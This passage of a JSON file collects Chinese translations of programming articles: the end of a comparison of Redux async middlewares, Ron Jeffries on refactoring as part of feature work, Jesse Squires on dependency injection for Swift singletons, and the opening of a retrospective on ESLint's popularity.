}\n}\n\nfunction mapDispatchToProps (dispatch) {\n  return {\n    fetchData: () => dispatch(fetchData())\n  }\n}\n\nexport default connect(\n  mapStateToProps,\n  mapDispatchToProps\n)(App)\n```\n\n此处代码主要有以下几个要点：\n\n1. 为 TouchableHighlight 组件绑定 onPress 函数，当按压事件触发后调用 `props.fetchData()`。\n2. 检查 `props.appData.isFetching` 的值是否为 true， 如果是则返回正在加载的文字提示。\n3. 检查 `props.appData.data.length`，如果该值存在且不为 0，则遍历该数组，展示人员姓名和年龄信息。\n\n至此，当按下按钮 Load Data 后，首先会看到正在加载的提示文字，3 秒后会看到人员信息。\n\n### Redux Saga ###\n\n[Redux Saga](https://github.com/redux-saga/redux-saga) 组合使用 async await 和 Generators，使其函数接口简单易用。（[branch](https://github.com/dabit3/redux-4-ways/tree/saga)）\n\n> “通过使用 ES6 的新特性 Generators，涉及异步流程的代码变得易于阅读、编写和测试。（如果你对此特性还不熟悉的话，[**点击此处获取入门介绍**](https://redux-saga.github.io/redux-saga/docs/ExternalResources.html)）。基于此，Javascript 的异步代码看起来就和标准的同步代码一样（有点类似于 `async`/`await`，但 Generators 另外还有一些我们所需要的极佳特性）。—— Redux Saga 文档\n\n为了实现 Saga，首先需要更新 actions —— 删除 `actions.js` 文件中除了如下代码外的其它所有代码：\n\n```\nimport { FETCHING_DATA } from './constants'\n\nexport function fetchData() {\n  return {\n    type: FETCHING_DATA\n  }\n}\n```\n\n该 action 会触发我们即将创建的 saga。新建 `saga.js` 文件，写入如下代码：\n\n```\nimport { FETCHING_DATA, FETCHING_DATA_SUCCESS, FETCHING_DATA_FAILURE } from './constants'\nimport { put, takeEvery } from 'redux-saga/effects'\nimport getPeople from './api'\n\nfunction* fetchData (action) {\n  try {\n    const data = yield getPeople()\n    yield put({ type: FETCHING_DATA_SUCCESS, data })\n  } catch (e) {\n    yield put({ type: FETCHING_DATA_FAILURE })\n  }\n}\n\nfunction* dataSaga () {\n  yield takeEvery(FETCHING_DATA, fetchData)\n}\n\nexport default dataSaga\n```\n\n1. 引入所需常量。\n2. 从 `redux-saga/effects` 中引入 `put` 和 `takeEvery`。当调用 `put` 函数时，Reduc Sage 会指示中间件 dipatch 一个 action。`takeEvery` 函数则会监听被 dispatch 了的 action（本例中即为 `FETCHING_DATA`），然后调用回调函数（本例中即为 `fetchData`）。\n3. 当 `fetchData` 被调用后，代码会等待函数 `getPeople` 的返回，如果返回成功则 dispatch `FETCHING_DATA_SUCCCESS` action。\n\n最后更新 `configureStore.js` 文件，用 saga 替换 thunk。\n\n```\nimport { createStore, applyMiddleware } from 'redux'\nimport app from './reducers'\n\nimport createSagaMiddleware from 'redux-saga'\nimport dataSaga from './saga'\n\nconst sagaMiddleware = createSagaMiddleware()\n\nexport default function configureStore() {\n  const store = createStore(app, applyMiddleware(sagaMiddleware))\n  sagaMiddleware.run(dataSaga)\n  return store\n}\n```\n\n在该文件中既引入了上述 saga，又从 `redux-saga` 中引入了 `createSagaMiddleware`。在创建 store 时，传入 `sagaMiddleware`，然后在返回 store 之前调用 `sagaMiddleWare.run`。\n\n至此，可以再次运行该程序并看到和使用 Redux Thunk 是同样的效果！\n\n> 注意：从 thunk 迁移到 saga 只改变了 3 个文件： `saga.js`、`configureStore.js` 以及 `actions.js`。\n\n### Redux Observable ###\n\nRedux Observable 使用 RxJS 和 observables 来为 Redux 应用创建异步 action 和异步数据流。（[branch](https://github.com/dabit3/redux-4-ways/tree/observable)）\n\n> “基于 [RxJS 5](http://github.com/ReactiveX/RxJS) 的 [Redux](http://github.com/reactjs/redux) 中间件。组合撤销异步 actions 以产生副作用等。” —— Redux Observable 文档\n\n首先还是需要更新 actions.js 文件：\n```\nimport { FETCHING_DATA, FETCHING_DATA_SUCCESS, FETCHING_DATA_FAILURE } from './constants'\n\nexport function fetchData () {\n  return {\n    type: FETCHING_DATA\n  }\n}\n\nexport function getDataSuccess (data) {\n  return {\n    type: FETCHING_DATA_SUCCESS,\n    data\n  }\n}\n\nexport function getDataFailure (error) {\n  return {\n    type: FETCHING_DATA_FAILURE,\n    errorMessage: error\n  }\n}\n```\n\n如上所示，将之前的 actions 更新为最早的 3 个 actions。\n\n接着创建所谓的 epic —— 输入 action stream 并输出 action stream 的函数。\n\n新建 `epic.js` 文件并加入如下代码：\n```\nimport { FETCHING_DATA } from './constants'\nimport { getDataSuccess, getDataFailure } from './actions'\nimport getPeople from './api'\n\nimport 'rxjs'\nimport { Observable } from 'rxjs/Observable'\n\nconst fetchUserEpic = action$ =>\n  action$.ofType(FETCHING_DATA)\n    .mergeMap(action =>\n      Observable.fromPromise(getPeople())\n        .map(response => getDataSuccess(response))\n        .catch(error => Observable.of(getDataFailure(error)))\n      )\n\nexport default fetchUserEpic\n```\n\n> 一般在 RxJS 中，变量名中的 $ 符号用以表示该变量是某 stream 的引用。\n\n1. 引入常量 FETCHING_DATA。\n2. 引入 `getDataSuccess` 和 `getDataFailure` 函数。\n3. 从 rxjs 中引入 `rxjs` 和 `Observable`。\n4. 定义函数 `fetchUserEpic`。\n5. 等到 `FETCHING_DATA` action 通过该 stream 之后，调用 [mergeMap](https://www.learnrxjs.io/operators/transformation/mergemap.html) 函数, 从 `getPeople` 中返回 `Observable.fromPromise` 并将返回值映射到 `getDataSuccess` 函数中。\n\n最后，更新 configureStore，应用新中间件 —— epic。\n\n`configureStore.js` 文件内容如下：\n```\nimport { createStore, applyMiddleware } from 'redux'\nimport app from './reducers'\n\nimport { createEpicMiddleware } from 'redux-observable'\nimport fetchUserEpic from './epic'\n\nconst epicMiddleware = createEpicMiddleware(fetchUserEpic)\n\nexport default function configureStore () {\n  const store = createStore(app, applyMiddleware(epicMiddleware))\n  return store\n}\nview raw\n```\n\n至此，可以再次运行该程序并看到后之前一样的效果！\n\n### Redux Promise Middleware ###\n\nRedux Promise Middleware 是一个用于 reslove 和 reject promise 的轻量级函数库。 ([branch](https://github.com/dabit3/redux-4-ways/tree/promise-middleware))\n\n> “Redux Promise Middleware 使得 [Redux](http://redux.js.org/) 中的异步代码更为健壮，并使 optimistic updates 、dispatches pending 、fulfilled 和 rejected actions 成为可能。 它也可以和 [redux-thunk](https://github.com/gaearon/redux-thunk) 结合使用链式化异步 action” —— Redux Promise Middleware 文档\n\n正如你将要看到的一样，相比于上述几个函数库而言，Redux Promise Middleware 极大地减少了代码量。\n\n它也可以和 [Thunk 结合使用](https://github.com/pburtchaell/redux-promise-middleware/blob/640c48c40c4f5168bafba017e8c975e09dafe4b4/README.md) 以实现异步 action 的链式化。\n\n相较于上述几个函数库，Redux Promise Middleware 有所不同 —— 它会接管你的 action 并基于 promise 状态的不同在 action 类型名称后添加 `_PENDING`、`_FULFILLED` 或 `_REJECTED`。\n\n例如，如果调用如下函数：\n\n```\nfunction fetchData() {\n  return {\n    type: FETCH_DATA,\n    payload: getPeople()\n  }\n}\n```\n\n那么就会自动地 dispatch `FETCH_DATA_PENDING` action。\n\n一旦 `getPeople` promise resolved，基于返回结果的不同，会 dispatch `FETCH_DATA_FULFILLED` 或 `FETCH_DATA_REJECTED` action。\n\n让我们通过现有的例子来理解该特性：\n\n首先需要更新 `constants.js`，以使其匹配我们将要用到的常量:\n\n```\nexport const FETCH_DATA = 'FETCH_DATA'\nexport const FETCH_DATA_PENDING = 'FETCH_DATA_PENDING'\nexport const FETCH_DATA_FULFILLED = 'FETCH_DATA_FULFILLED'\nexport const FETCH_DATA_REJECTED = 'FETCH_DATA_REJECTED'\n```\n\n接着将 `actions.js` 文件更新为只有一个 `FETCH_DATA` 这一个 action。\n\n```\nimport { FETCH_DATA } from './constants'\nimport getPeople from './api'\n\nexport function fetchData() {\n  return {\n    type: FETCH_DATA,\n    payload: getPeople()\n  }\n}\n```\n\n接着基于上面新定义的常量更新 `dataReducer.js` 文件：\n\n```\nimport { FETCH_DATA_PENDING, FETCH_DATA_FULFILLED, FETCH_DATA_REJECTED } from '../constants'\nconst initialState = {\n  data: [],\n  dataFetched: false,\n  isFetching: false,\n  error: false\n}\n\nexport default function dataReducer (state = initialState, action) {\n  switch (action.type) {\n    case FETCH_DATA_PENDING:\n      return {\n        ...state,\n        data: [],\n        isFetching: true\n      }\n    case FETCH_DATA_FULFILLED:\n      return {\n        ...state,\n        isFetching: false,\n        data: action.payload\n      }\n    case FETCH_DATA_REJECTED:\n      return {\n        ...state,\n        isFetching: false,\n        error: true\n      }\n    default:\n      return state\n   }\n}\n```\n\n最后更新 `configureStore`，应用 Redux Promise Middleware：\n\n```\nimport { createStore, applyMiddleware } from 'redux'\nimport app from './reducers'\nimport promiseMiddleware from 'redux-promise-middleware';\n\nexport default function configureStore() {\n  let store = createStore(app, applyMiddleware(promiseMiddleware()))\n  return store\n}\n```\n\n至此，可以再次运行该程序并看到后之前一样的效果！\n\n### 总结 ###\n\n总的来说，笔者认为 Saga 更适用于较为复杂的应用，除此之外的其他所有情况 Redux Promise Middleware 都是十分合适的。笔者十分喜欢 Saga 中的 Generators 和 async-await，这些特性很有趣； 同时笔者也喜欢 Redux Promise Middleware，因为它极大地减少了代码量。\n\n如果对 RxJS 更为熟悉的话，笔者也许会偏向 Redux Observable；但还是有很多笔者理解不透彻的地方，因此无法自信地将其应用于生产环境中。\n\n> 笔者 [Nader Dabit](https://twitter.com/dabit3)，是一名专注于 React 和 React Native 开发和培训的软件开发者。\n\n> 如果你也喜欢 React Native，欢迎查看我和 [Gant Laborde](https://medium.com/@gantlaborde) [Kevin Old](https://medium.com/@kevinold) [Ali Najafizadeh](https://medium.com/@alinz) 及 [Peter Piekarczyk](https://medium.com/@peterpme) 在 [Devchat.tv](http://devchat.tv/) 的 podcast — [React Native Radio](https://devchat.tv/react-native-radio)。\n\n> 同时，也欢迎查看笔者所著的 [React Native in Action](https://www.manning.com/books/react-native-in-action)，该书目前可以在 Manning Publications 购买。\n\n> 如果你喜欢这篇文章，欢迎推荐和分享！谢谢！\n"
  },
  {
    "path": "TODO/refactoring-not-on-the-backlog.md",
    "content": "> * 原文地址：[Refactoring -- Not on the backlog!](http://ronjeffries.com/xprog/articles/refactoring-not-on-the-backlog/)\n* 原文作者：[Ron Jeffries](http://ronjeffries.com/about.html)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[rottenpen](https://github.com/rottenpen)\n* 校对者：[Luoyaqifei](http://www.zengmingxia.com/)   [cyseria](https://github.com/cyseria)\n\n# 重构，不要积压！\n\n最近有很多关于重构的讨论或问题出现在清单和会议上，这些讨论和问题围绕着是否要将重构的“故事”放入积压工作中。即使“技术债”变多，这还是一个毋庸置疑的坏主意。原因如下：\n[![Ref01](http://ronjeffries.com/xprog/wp-content/uploads/Ref01-1024x768.jpg)](http://ronjeffries.com/xprog/wp-content/uploads/Ref01.jpg)\n\n项目开始的时候，代码是空白的。工作的区域平坦干净，生活是美好的，这个世界是属于我的。一切看起来都那么美好。\n[![Ref02](http://ronjeffries.com/xprog/wp-content/uploads/Ref02-1024x768.jpg)](http://ronjeffries.com/xprog/wp-content/uploads/Ref02.jpg)\n\n我们可以轻松顺利地建立起功能，哪怕我们似乎总会遇到一些波折。除了有点匆忙，一切看起来都是那么完美。我们不会注意到任何弊漏而且会迅速地让新功能上线。\n[![Ref03](http://ronjeffries.com/xprog/wp-content/uploads/Ref03-1024x768.jpg)](http://ronjeffries.com/xprog/wp-content/uploads/Ref03.jpg)\n\n然而，我们就让一些灌木丛生长在我们近乎完美的代码中。有时人们称之为 “ 技术债务 ”。但这些灌木丛只不过不是很好的代码，其实它们看起来也不是太糟糕。\n[![Ref04](http://ronjeffries.com/xprog/wp-content/uploads/Ref04-1024x768.jpg)](http://ronjeffries.com/xprog/wp-content/uploads/Ref04.jpg)\n\n正如我们画的图，我们不得不绕过这些灌木丛，或者推开它们。通常我们会绕道而行。\n[![Ref05](http://ronjeffries.com/xprog/wp-content/uploads/Ref05-1024x768.jpg)](http://ronjeffries.com/xprog/wp-content/uploads/Ref05.jpg)\n\n不可避免的是，这会减慢我们的速度。为了保持速度，我们甚至会比以前更粗心，灌木丛自然而然越冒越多了。\n[![Ref06](http://ronjeffries.com/xprog/wp-content/uploads/Ref06-1024x768.jpg)](http://ronjeffries.com/xprog/wp-content/uploads/Ref06.jpg)\n\n新的灌木丛堆在旧的灌木丛上，严重放慢了我们的进程。我们意识到这个问题，但我们太急于抵达终点。我们迫切地想要保持我们早期的速度。\n[![Ref07](http://ronjeffries.com/xprog/wp-content/uploads/Ref07-1024x768.jpg)](http://ronjeffries.com/xprog/wp-content/uploads/Ref07.jpg)\n\n不久以后，我们工作中有一半的代码背负着应付杂草、灌木丛、矮树丛和各类障碍。甚至可能有一些旧罐头和脏衣服藏在某处。也许还会遇到一些坑。\n[![Ref08](http://ronjeffries.com/xprog/wp-content/uploads/Ref08-1024x768.jpg)](http://ronjeffries.com/xprog/wp-content/uploads/Ref08.jpg)\n\n每趟穿越混乱代码区域的旅程都变成了一场躲避灌木丛、避免踩到坑的长途跋涉。然而，我们还是会掉进其中的一些坑里，然后爬出来。我们会比之前更慢。这时候我们必须要改变。\n[![Ref09](http://ronjeffries.com/xprog/wp-content/uploads/Ref09-1024x768.jpg)](http://ronjeffries.com/xprog/wp-content/uploads/Ref09.jpg)\n\n现在我们的问题非常明显，我们看到，我们不能只是在该领域快速地掠过，只做好自己的事。我们还有很多的重构要做，来恢复一片干净的领域。我们不禁要向产品负责人索取重构的时间。这种索求往往是不被允许的。不会有人愿意为我们过去所搞砸的东西背锅。\n[![Ref10](http://ronjeffries.com/xprog/wp-content/uploads/Ref10-1024x768.jpg)](http://ronjeffries.com/xprog/wp-content/uploads/Ref10.jpg)\n\n如果我们真的有那个时间，我们也不会得到一个相当好的结果。我们会在可用的时间里，尽我们所能地整理我们所理解的东西，尽管这时间永远不够用。尽管我们花了几个星期来把代码弄得那么糟糕，可是我们肯定不会再去花几个星期把它修改好。\n\n这是一个死胡同。一个巨大的重构 session 是很难出售的，即使卖了，经过长时间的延迟，我们也不会得到我们所期待的回报。这不是一个好主意。我们应该做些什么呢？\n[![RefA1](http://ronjeffries.com/xprog/wp-content/uploads/RefA1-1024x768.jpg)](http://ronjeffries.com/xprog/wp-content/uploads/RefA1.jpg)\n\n太简单了！我们要求下一个功能按我们的需求而建造，而不是绕开周围的杂草和灌木。我们花时间清理出一条路来。可能我们也会绕开一些障碍。因为我们只是改进需要使用到的代码，忽略掉没被使用的部分。我们得到了一个干净的工作环境。很可能，我们还会再次访问这个地方：这就是软件开发工作。\n\n也许这个功能需要更多的时间去建设。但通常它不会，因为通过清除可以帮助到我们，哪怕是第一个功能。当然，它也将帮助到任何其他人。 \n[![RefA2](http://ronjeffries.com/xprog/wp-content/uploads/RefA2-1024x768.jpg)](http://ronjeffries.com/xprog/wp-content/uploads/RefA2.jpg)\n\n反复清理。每当出现一个新功能，我们就要清洗一遍这片代码区域。在产生垃圾的同时，我们只需要投资多一点时间，不需要多，通常很少。特别是随着过程的推移，从我们清理开始，我们的优势会越来越明显，进程会变得越走越快。\n[![RefA3](http://ronjeffries.com/xprog/wp-content/uploads/RefA3-1024x768.jpg)](http://ronjeffries.com/xprog/wp-content/uploads/RefA3.jpg)\n\n很快，通常在我们开始清理的这个迭代周期内，我们能发现后续功能正使用了之前刚清理的这块区域。我们开始从增量重构中得到好处了。如果我们等着在一个大批次进行重构的话，我们需要付出更多努力，任何好处都会被延迟，而且很可能会无功而返。\n\n工作变的更好，代码变得更干净，提供的功能比以前更多。各个方面都得到了显著的提高。 \n\n这事你就这么办吧。\n\n\n"
  },
  {
    "path": "TODO/refactoring-singletons-in-swift.md",
    "content": "> * 原文地址：[Refactoring singleton usage in Swift](http://www.jessesquires.com/refactoring-singletons-in-swift/)\n* 原文作者：[Jesse Squires](http://www.jessesquires.com/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[karthus](https://github.com/karthus1110)\n* 校对者：[xiaoheiai4719](https://github.com/xiaoheiai4719)，[skyar2009](https://github.com/skyar2009)\n\n# [重构 Swift 中单例的用法](Refactoring singleton usage in Swift) #\n\n## 使代码库更加简洁、模块化、和可测试的技巧 2017 年 2 月 10 日 ##\n\n在软件开发中，[单例模式](https://en.wikipedia.org/wiki/Singleton_pattern)有足够的原因被广泛的[不推荐](https://www.objc.io/issues/13-architecture/singletons/)和[不赞成](http://coliveira.net/software/day-19-avoid-singletons/)。它们难以测试或者说是不可能测试，当它们在其他类中隐式调用时会使你的代码库混乱，让代码难以复用。大部分时候，一个单例其实就相当于一个伪全局变量。每个人都知道，至少知道这是一个糟糕的主意。然而，单例有时又是不可避免且必须的。我们如何能把它们用一种整洁、模块化的和可测试化的方法整合到我们的代码中呢？\n\n### 随处可见的单例 ###\n\n在苹果平台，单例在 Cocoa 还有 Cocoa Touch 框架中随处可见。比如 `UIApplication.shared`，`FileManager.default`，`NotificationCenter.default`， `UserDefaults.standard`，`URLSession.shared` 等等。这个设计模式甚至在 [*Cocoa Core Competencies*](https://developer.apple.com/library/content/documentation/General/Conceptual/DevPedia-CocoaCore/Singleton.html#//apple_ref/doc/uid/TP40008195-CH49-SW1) 指导中有自己的章节。\n\n当你隐式的引用这些单例，还有你自己的单例的时候，会增加你更新维护代码的工作量。它还会让你的代码难以测试，因为并没有任何方法在单例的使用类的外面去改变或者模拟这些单例。下面是我们在 iOS app 中常见的用法：\n```\nclass MyViewController: UIViewController {\n\n    override func viewDidLoad() {\n        super.viewDidLoad()\n\n        let currentUser = CurrentUserManager.shared.user\n        if currentUser != nil {\n            // do something with current user\n        }\n\n        let mySetting = UserDefaults.standard.bool(forKey: \"mySetting\")\n        if mySetting {\n            // do something with setting\n        }\n\n        URLSession.shared.dataTask(with: URL(string: \"http://someResource\")!) { (data, response, error) in\n            // handle response\n        }\n    }\n}\n```\n\n这就是我所说的**隐式引用** - 你简单的在类中直接使用单例。我们可以做到更好。我们有更简单、轻量级、低影响的方式在 Swift 中进行优化。Swift 让此更加优雅。\n\n### 依赖注入 ###\n\n简而言之，方法就是[依赖注入](https://en.wikipedia.org/wiki/Dependency_injection)。这个原则指出你应该像知道所有输入一样设计类和方法。如果你用依赖注入来重构上面这段代码，它应该是像这样：\n```\nclass MyViewController: UIViewController {\n\n    let userManager: CurrentUserManager\n    let defaults: UserDefaults\n    let urlSession: URLSession\n\n    init(userManager: CurrentUserManager, defaults: UserDefaults, urlSession: URLSession) {\n        self.userManager = userManager\n        self.defaults = defaults\n        self.urlSession = urlSession\n        super.init(nibName: nil, bundle: nil)\n    }\n\n    override func viewDidLoad() {\n        super.viewDidLoad()\n\n        let currentUser = userManager.user\n        if currentUser != nil {\n            // do something with current user\n        }\n\n        let mySetting = defaults.bool(forKey: \"mySetting\")\n        if mySetting {\n            // do something with setting\n        }\n\n        urlSession.dataTask(with: URL(string: \"http://someResource\")!) { (data, response, error) in\n            // handle response\n        }\n    }\n}\n\n```\n\n这个类不再隐式地（或显式地）依赖于任何单例。它现在显式的依赖于 `CurrentUserManager`，`UserDefaults` 和 `URLSession`，但是这些依赖关系并没有表明它们是单例。这个细节不再重要,但是功能却保持不变。控制器仅仅是知道这些实例对象的存在而已。在调用方你可以传入单例。同样，这个细节从类的角度来看是不相关的。\n```\nlet controller = MyViewController(userManager: .shared, defaults: .standard, urlSession: .shared)\n\npresent(controller, animated: true, completion: nil)\n```\n\n专业提示：Swift 的类型判断在此处有用。你可以简单的写 `.shared` 来代替 `URLSession.shared`。\n\n如果你需要提供一个**不同的** `userDefaults`。例如，你需要在[应用组间共享数据](https://developer.apple.com/library/content/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple_ref/doc/uid/TP40014214-CH21-SW6)，这很容易修改。事实上，你**不需要**修改这个类中的任何代码。你只需要传入 `UserDefaults(suiteName: \"com.myApp\")` 来代替 `UserDefaults.standard` 即可。\n\n此外，在单元测试中你可以传入假的或者无效的这些类。真的伪装类在 Swift 中不可能，但是有[解决办法](/testing-without-ocmock/)。这取决于你想如何构建你的代码。你可以为 `CurrentUserManager` 使用一个协议，让你可以在测试中“伪装”。你可以为 `UserDefaults` 提供一个假的套件进行测试。你可以在测试中使 `URLSession`  可选，并传入 `nil` 。\n\n### 重构的地狱 ###\n\n抛弃这个想法，你现在想把你的代码库从混乱中解脱出来。虽然依赖注入是理想的并且给你更纯粹的对象模型，但它通常是难以实现的。甚至一开始写代码时几乎不会为兼容依赖注入做设计。\n\n我们前面进行的重构会更加模块化和可测试，但也有个很实际的问题。 `MyViewController` 的初始化过去是空的 (`init()`) ,但现在带了三个参数。每个调用方都必须进行更改。更清晰和恰当的方式来对此进行重构，应该是至顶向下的传递实例，或者从前一层控制器传入到当前层。这可能需要你将数据从对象图的根节点传递到所有子节点。尤其是在 iOS 中，数据在控制器间的传递是很让人头痛的。尤其是遗留代码更难以快速实现这个变化。\n\n大部分类（尤其是控制器）的初始化方法都需要修改。这种修改是难以应付的，不夸张的说你会意识到你需要重构整个应用 。要么所有的东西都会被打破重构，要么就只有一部分类根据依赖注入更新而其他的则继续隐式引用单例。这个不一致可能会在将来造成一些问题。\n\n因此，像这样的重构在更复杂更大的遗留代码库中可能是不可行的，至少不是一次，而且没有回归。因为如此，你可以说根本不该重构就这么保持下去。然后几个月或者几年过去后，你需要支持多账户时，然而 `CurrentUserManager` 不能支持你实现切换账户时，你该怎么处理？\n\n这是一个从开始就为了兼容后期各种变化的类的设计方法和预处理。\n\n### 默认参数值 ###\n\n默认参数是我最喜欢的一个 Swift 特性。它们非常有用，为我们的代码带来了巨大的灵活性。有了默认参数，你可以解决上面的问题而**不会**掉入依赖注入的兔子洞并且**不会**给你的代码库带来引入太多复杂性。也许你的应用真的只会有单一用户，所以实现所有的这些依赖注入只是没有意义的无用功。\n\n你可以使用单例作为默认参数：\n\n```\nclass MyViewController: UIViewController {\n\n    init(userManager: CurrentUserManager = .shared, defaults: UserDefaults = .standard, urlSession: URLSession = .shared) {\n        self.userManager = userManager\n        self.defaults = defaults\n        self.urlSession = urlSession\n        super.init(nibName: nil, bundle: nil)\n    }\n}\n```\n\n现在，初始化方法再调用方的角度来看是没有变化的。但是类本身有极大的差异，就是现在使用依赖注入而不再引用单例了。\n```\nlet controller = MyViewController()\n\npresent(controller, animated: true, completion: nil)\n```\n\n你从这个变化中获得了什么？你可以用这个模式重构所有的类而不用更新任何调用方的代码。语义上没有变化，功能上也没有。然而，你的类已经在使用依赖注入了。它们很少在内部使用实例。你可以使用上述的方法进行测试然后维护一个灵活的，模块化的 API，所有的公共接口都保持不变。基本上，你可以像什么都没有改变一样继续在你的代码库上工作。\n\n假如到了需要传入自定义参数，非单例参数的时候你可以不用改变任何类就可以做到。你只需要更新调用方。此外，如果你决定完全实现依赖注入并且自顶向下的传入所有依赖，你只需要简单的移除默认参数并且从顶部传入依赖即可。\n\n如果需要的话，你可以选择加入或选择停用任何默认参数。下面的例子中，我们提供一个自定义的 `UserDefaults` 但是保留 `CurrentUserManager` 和 `URLSession` 两个默认参数。\n\n```\nlet appGroupDefaults = UserDefaults(suiteName: \"com.myApp\")!\n\nlet controller = MyViewController(defaults: appGroupDefaults)\n\npresent(controller, animated: true, completion: nil)\n```\n\n### 结论###\n\nSwift 让我们实现这种“局部”依赖注入变得很轻松。通过向类添加一个带默认值的新属性和初始化参数，你可以让代码变的非常模块化和可测试，而不必重构整个应用，也不必完全实现依赖注入。当你**从开始**就像这样设计你的类，你会发现你编码进入困境的次数会少很多，而且当你进入困境时，会更容易解决它。\n\n你可以将这些概念和设计应用于代码的所有领域，而不止是此处的简单示例。类、结构体、枚举、函数。Swift 中的每个方法都可以带有默认参数值。通过花时间来思考未来可能发生的变化，我们可以构建轻适配这些变化的类型和函数。\n\n构建和设计好的软件意味着写出来的代码是**可维护性高但健壮性强的**。这就是依赖注入背后的目的，Swift 的默认参数可以让你更快捷、简便和优雅的实现这个目标。\n"
  },
  {
    "path": "TODO/reflections-on-eslints-success.md",
    "content": "\n> * 原文地址：[Reflections on ESLint's success](https://www.nczonline.net/blog/2016/02/reflections-on-eslints-success/)\n> * 原文作者：[Nicholas C. Zakas](http://www.twitter.com/slicknet/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/reflections-on-eslints-success.md](https://github.com/xitu/gold-miner/blob/master/TODO/reflections-on-eslints-success.md)\n> * 译者：[薛定谔的猫](https://github.com/Aladdin-ADD)\n> * 校对者：[H2O-2](https://github.com/H2O-2) [warcryDoggie](https://github.com/warcryDoggie)\n\n# 回顾 ESLint 的成功\n\n难以置信，我在 2013 年 6 月构思开发了 ESLint，7 月第一次对外发布。熟悉的读者可能还记得，ESLint 最初主要设计目标是运行时加载的检查工具（linter）。在工作中我看到我们的 JavaScript 代码中的一些问题，希望能有一些自动化的手段避免这些问题再次出现。\n\n在 ESLint 发布后的 2 年半里，它的受欢迎程度大大增加。上个月的 30 天在 npm 上就有超过 1 500 000 次下载，这是当初平均月下载量只有 600 时我不曾想象的。\n\n所有这一切发生了，然而过去 2 年我患上了很严重的莱姆病，几乎无法离开我的房子。这意味着我不能够外出参加会议和聚会来宣传 ESLint（前 2 年我可是会议常客）。但不知为何，ESLint 获得了广泛关注，并且继续收到欢迎。我觉得是时候回顾其中缘由了。\n\n## JavaScript 使用量增加\n\n过去三年，我们看到浏览器上 JavaScript 的使用量持续增加。根据 HTTP Archive[3]，现在网页的 JavaScript 比 2013 年增加了 100 KB。\n\n![Chart - Increasing JavaScript Usage in Browsers 2013-2016](https://www.nczonline.net/images/posts/blog-js-chart-2016.png)\n\n另一个因素是 Node.js 的爆炸性流行。以前 JavaScript 仅限于客户端使用，而 Node.js 使另外一些开发者也能够使用 JavaScript。随着运行环境拓展到了浏览器和服务器端，JavaScript 工具需求自然增加了。由于 ESLint 可以用于浏览器和 Node.js 上的 JavaScript，迎合了这一需求。\n\n## 检查工具更加流行\n\n由于 JavaScript 工具的需求增加，对 JavaScript 代码检查的需求也随之增加。这很容易理解 -- 你编写的 JavaScript 代码越多，就越需要更多保障，避免一些常见错误。自 2013 年中以来 npm 上 JSHint、JSCS、ESLint 的下载量显示了这一趋势。\n\n![Chart - Increasing downloads for all JavaScript linters](https://www.nczonline.net/images/posts/blog-eslint-chart.png)\n\nJSCS 和 ESLint 几乎是同时创建的，将它们各自的增加轨迹与更早一些的 JSHint 进行对比可以看到一些很有趣的地方。到 2016 年初，JSHint 在 JavaScript 代码检查领域有着优势地位，JSCS 和 ESLint 也在增长。最有趣的是这三个工具的下载量都在增长，说明每月下载检查工具的人多于更换的人数。\n\n所以 ESLint 确实迎合了开发者对 JavaScript 代码检查需求增加的大趋势。\n\n## ES6/Babel\n\n在过去的四年里，ECMAScript 6 的人气一直在稳定增长，这也使 Babel 获得了极大成功。开发者不用等浏览器和 Node.js 的正式支持就可以使用 ECMAScript 6 语法，这也需要 JavaScript 工具的新特性支持。在这一点上，JSHint 对 ECMAScript 6 特性支持不足，显得有些落后了。\n\n另一方面，ESLint 有一个巨大的优势：你可以用其它的 parser 来代替默认的 parser -- 只要它的输出与 Esprima（或 Espree）兼容。这意味着你可以直接使用 Facebook 的 Esprima 支持 ES6 的 fork （现在已不再维护）来检查你的 ES6 代码。Espree 现在也已经支持 ES6 了（主要来自 Facebook 的 fork）。这使得开发者可以很方便的使用 ES6。\n\n当然，Babel 并没有止步于支持 ES6 -- 它同样也支持实验特性。这就需要不但支持 ES 标准特性，还有其它开发中的特性（stage0 ~ stage4）。因此 ESLint 的 parser 可配置性就很重要了，因为 Babel 成员创建的 babel-eslint[4] 在其基础上进行封装，以便 ESLint 能够使用。\n\n不久以后，ESLint 就成为了使用 ES6 或者 Babel 的人推荐的检查工具，这得益于允许兼容 parser 替换默认 parser 的设计决策。\n\n现在，ESLint 安装时大约有 41% 使用了 babel-eslint（基于 npm 下载量统计）。\n\n## React\n\n讨论 ESLint 的流行离不开 React。React 的一个核心特性就是支持在 JavaScript 中嵌入 JSX，而其它检查工具起初都不支持这一特性。ESLint 不但在其默认 parser 支持 JSX，用户也可以通过配置使用 babel-eslint 或者 Facebook 的 Esprima fork 来支持 JSX。React 用户也因此开始使用 ESLint。\n\n我们收到很多在 ESLint 本身加入一些 React 特有规则的请求，但是原则上我不希望有库专有的规则 -- 因为这会带来巨大的维护成本。2014 年 12 月，eslint-plugin-react[5] 引入了许多 React 专有规则，很快得到了 Recat 开发者的欢迎。\n\n后来在 2015 年 2 月，Dan Abramov 写了一篇文章《Lint like it's 2015》[6]。这这篇文章中，他介绍了 ESLint 在 React 中的应用，并给出了高度评价：\n\n> 如果你从未听说过 ESLint -- 它就是我一直想要 JSHint 成为的那样。\n\nDan 也介绍了如何配置使用 babel-eslint，提供了极有价值的文档。明显可以看到这是 ESLint 的一个大的转折点：月下载量从 2015 年 2 月的 89,000 到 2015 年 3 月的 161,000 -- 增长了近一倍。从这之后到现在，ESLint 经历了一个快速增长的阶段。\n\n现在，eslint-plugin-react 在 ESLint 安装中使用率有 45%+（基于 npm 下载量统计）。\n\n## 可扩展性是关键\n\n从一开始，我的想法就是 ESLint 本身是小核心工具，作为大生态的中心。我的目标是通过允许足够的扩展使 ESLint 永不过时：即便无法提供的新特性，ESLint 仍然可以通过扩展获得新功能。虽然现在 ESLint 还没有完全满足我的设想，但已经非常灵活：\n\n- 你可以在运行时增加新规则，这使得任何人都可以编写自己的规则。为了避免每天花费大量时间处理用户想要各种预料外的规则，我将其视为关键所在。现在，没有什么阻止用户编写自己的规则。\n- parser 的可配置性使 ESLint 可以处理任何和 Espree 兼容的格式。正如上文所述，这也是 ESLint 流行的一个重大原因。\n- 